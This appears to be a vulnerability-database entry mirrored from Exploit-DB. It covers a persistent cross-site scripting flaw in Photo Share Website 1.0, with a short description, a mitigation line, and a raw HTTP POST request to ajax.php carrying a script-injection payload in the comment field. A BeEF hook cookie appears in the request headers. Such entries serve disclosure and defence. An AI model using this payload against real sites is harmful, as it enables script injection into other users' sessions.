header-logo
Suggest Exploit
vendor:
Photo Share Website
by:
Augkim
8.8
CVSS
HIGH
Persistent Cross-Site Scripting
79
CWE
Product Name: Photo Share Website
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:photo_share_website
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux Apache2
2020

Photo Share Website 1.0 – Persistent Cross-Site Scripting

A persistent cross-site scripting vulnerability exists in Photo Share Website 1.0. An attacker can send a malicious payload in the post_id parameter of the ajax.php page, which will be stored in the database and executed when the page is loaded.

Mitigation:

Input validation should be used to prevent malicious payloads from being stored in the database.
Source

Exploit-DB raw data:

# Exploit Title: Photo Share Website 1.0 - Persistent Cross-Site Scripting
# Date: 2020-09-30
# Exploit Author: Augkim
# Vendor Homepage: https://www.sourcecodester.com/php/14478/photo-share-website-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/photo-share-website-using-php.zip
# Tested on: Linux Apache2


POST /soci/ajax.php?action=save_comment HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
DNT: 1
Connection: close
Referer: http://localhost/soci/index.php?page=home
Cookie: mode=day; src=1;
BEEFHOOK=0hqrkHLyTmW38TaPrDHRUW4LsDpXKDSSqAQf54dt0hIA0wFNpjkoJYFlnGhoKw2T4qQHIUZ5oESFGSVW;
PHPSESSID=cq8j6ug2vem0obmno6fi0h9404; access=1
Origin: foo.example.org

PoC:
post_id=4&comment="><script>alert(2)</script>